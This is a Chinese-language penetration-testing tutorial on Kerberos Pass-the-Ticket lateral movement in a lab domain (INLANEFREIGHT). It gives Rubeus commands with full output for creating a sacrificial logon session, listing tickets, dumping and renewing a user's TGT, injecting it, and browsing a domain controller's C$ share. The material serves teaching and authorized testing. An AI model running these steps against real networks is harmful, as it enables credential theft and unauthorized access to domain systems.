Pass-the-Ticket
攻击是一种无需触碰 LSASS 进程(例如使用 Sekurlsa::LogonPasswords)即可实现横向移动的方法。由于针对 LSASS 进程的各类保护措施不断增强,这种方法变得极其重要
在经过安全加固的组织中,LSASS 进程中的内容可能并没有那么大的价值,而且仅仅是窥探该进程的操作就很可能触发防御方的警报
PTT攻击会获取用户的票据授予票据 (TGT) 或票据授予服务 (TGS) 票据。其中,TGT 是一种包含权限级别列表的已签名票据。该 TGT 会被发送至域控制器,随后域控制器会发放可用于访问特定机器的 TGS 票据。窃取这两种票据中的任何一种,都可以实现横向移动
1. Sacrificial Processes
这是理解 Kerberos 攻击最关键的概念,因为如果未能创建“牺牲进程”,可能会导致服务宕机
这是因为现有的登录会话 Kerberos 票据非常容易被覆盖。如果本地机器账户 (SYSTEM$) 丢失了它的 Kerberos 票据,通常在重启之前它都无法获得新票据。如果某个服务丢失了票据,在该服务重启(有时甚至需要机器重启)之前,它也将无法获得新票据。
牺牲进程会创建一个新的登录会话,并将票据传递给该会话。这确实需要机器的管理员权限,并且会产生额外的入侵指标 (IOC),可能会触发警报。然而,在渗透测试任务中导致服务中断,后果远比因为采取安全操作而被发现要严重得多。
1.1. 使用 Rubeus 创建牺牲进程
1.1.1. 创建牺牲进程
Rubeus 的 createnetonly 操作会创建一个牺牲进程,后续命令将使用 /LUID:0xdeadbeef(示例 ID)与其进行交互
PS C:\Tools> .\Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
[*] Action: Create Process (/net only)
[*] Using random username and password.
[*] Showing process : True
[*] Username : Y1XGWQUL
[*] Domain : HT3J3C08
[*] Password : 967IB2AL
[+] Process : 'C:\Windows\System32\cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID : 4288
[+] LUID : 0xa4a39
为了使用此票据对远程服务进行身份验证,我们需要将其注入到该进程 ID (PID) 中。由于我们当前没有使用 C2(命令与控制)框架,我们使用了 /show 选项,这会直接显示我们刚刚创建的进程
1.1.2. 读取票据
PS C:\Tools> .\Rubeus.exe triage
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
Action: Triage Kerberos Tickets (All Users)
[*] Current LUID : 0x892730
-----------------------------------------------------------------------------------------------------------------------
| LUID | UserName | Service | EndTime |
-----------------------------------------------------------------------------------------------------------------------
| 0x17168 | SQL01$ @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL | 8/24/2020 1:38:16 PM |
| 0x17168 | SQL01$ @ INLANEFREIGHT.LOCAL | LDAP/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/23/2020 8:23:24 AM |
| 0x3e4 | sql01$ @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL | 8/24/2020 12:53:21 PM |
| 0x3e4 | sql01$ @ INLANEFREIGHT.LOCAL | ldap/dc01.inlanefreight.local/INLANEFREIGHT.LOCAL | 8/24/2020 12:53:21 PM |
| 0x3e4 | sql01$ @ INLANEFREIGHT.LOCAL | GC/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/24/2020 12:53:21 PM |
| 0x3e4 | sql01$ @ INLANEFREIGHT.LOCAL | cifs/DC01.INLANEFREIGHT.LOCAL | 8/24/2020 12:53:21 PM |
| 0x89275d | pixis @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL | 8/24/2020 7:44:20 PM | | 0x89275d | pixis @ INLANEFREIGHT.LOCAL | cifs/dc01 | 8/24/2020 7:44:20 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | krbtgt/INLANEFREIGHT.LOCAL | 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | cifs/DC01 | 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | cifs/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | SQL01$ | 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | LDAP/DC01.INLANEFREIGHT.LOCAL/INLANEFREIGHT.LOCAL | 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | ldap/dc01.inlanefreight.local | 8/24/2020 1:37:30 PM |
| 0x3e7 | sql01$ @ INLANEFREIGHT.LOCAL | ldap/DC02.LOGISTICS.INLANEFREIGHT.LOCAL | 8/23/2020 8:23:20 AM |
-----------------------------------------------------------------------------------------------------------------------
我们当前的 LUID(登录 UID)是 0x892730 ,但当前会话未关联任何票据
借助 Rubeus,我们可以提取 pixis 的 TGT。它是 pixis@INLANEFREIGHT.LOCAL 的票据,并且使用了 krbtgt/INLANEFREIGHT.LOCAL 服务(TGT 使用 krbtgt's 密钥加密)
1.1.3. 使用 Rubeus 提取票据
PS C:\Tools> .\Rubeus.exe dump /luid:0x89275d /service:krbtgt /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
Action: Dump Kerberos Ticket Data (All Users)
[*] Target service : krbtgt
[*] Target LUID : 0x89275d
[*] Current LUID : 0x892730
Username : pixis
Domain : INLANEFREIGHT
LogonId : 0x89275d
UserSID : S-1-5-21-2974783224-3764228556-2640795941-2123
AuthenticationPackage : Negotiate
LogonType : RemoteInteractive
LogonTime : 8/24/2020 9:43:48 AM
LogonServer : DC01
LogonServerDNSDomain : INLANEFREIGHT.LOCAL
UserPrincipalName : pixis@INLANEFREIGHT.LOCAL
ServiceName : krbtgt/INLANEFREIGHT.LOCAL
ServiceRealm : INLANEFREIGHT.LOCAL
UserName : pixis
UserRealm : INLANEFREIGHT.LOCAL
StartTime : 8/24/2020 9:44:20 AM
EndTime : 8/24/2020 7:44:20 PM
RenewTill : 8/31/2020 9:44:20 AM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : aes256_cts_hmac_sha1
Base64(key) : TzjL1PVv40EmE/AwhpjXSIjMDkQnymOrusUAVvtGsYA=
Base64EncodedTicket :
doIGSzCCBkegAwIBBaEDAgEWooIFMzCCBS9hggUrMIIFJ6ADAgExxxxxx
然后我们可以使用 Rubeus,借助刚刚提取出的票据通过以下小技巧请求一张新的有效 TGT:我们将利用 Kerberos 的续期功能,提供我们的 TGT,从而获得同一用户的一张全新 TGT。
C:\Tools> Rubeus.exe renew /ticket:doIFVjCCBVKgAwIBBaEDA<SNIP> /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.2.2
[*] Action: Renew Ticket
[*] Using domain controller: DC01.INLANEFREIGHT.LOCAL (10.129.1.207)
[*] Building TGS-REQ renewal for: 'INLANEFREIGHT.LOCAL\pixis'
[+] TGT renewal request successful!
[*] base64(ticket.kirbi):
doIFVjCCBVKgAwIBBaEDAgEWooIESTCCBEVhggRBMIIEPaADAgEFoRUbE0lOTEFORUZSRUlHSFQuTE9D<SNIP>
[+] Ticket successfully imported!
1.1.4. 访问其他用户的文件系统
C:\Tools> dir \\dc01\\c$
Directory: \\dc01\c$
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/27/2020 5:56 PM Department Shares
d----- 7/16/2016 6:23 AM PerfLogs
d-r--- 8/22/2020 10:52 PM Program Files
d----- 7/27/2020 12:14 PM Program Files (x86)
d----- 7/27/2020 7:37 PM Software
d----- 8/23/2020 6:54 PM Tools
d-r--- 7/30/2020 11:49 AM Users
d----- 8/17/2020 12:29 PM Windows
在底层,Windows 使用我们的 TGT 来请求以下 SPN cifs/dc01 的 TGS 票据。
1.2. 牺牲进程 - 无管理员权限
这看起来有些奇怪,它并没有紧随 Sacrificial Process 部分出现,但这个话题足够重要,应该放在模块的开头和结尾。 Rubeus 需要管理员权限的原因是为了与其生成的 NetOnly 进程交互,以创建登录会话。当使用合适的 C2 框架时,进程的 stdin/stdout 通常会映射到 named pipes 。这使得框架可以在没有管理员权限的情况下与它所生成的进程进行交互。如果使用 Covenant 或 Cobalt Strike,可尝试使用 maketoken 功能来创建登录会话,而不是使用 Rubeus 的 NetOnly 选项。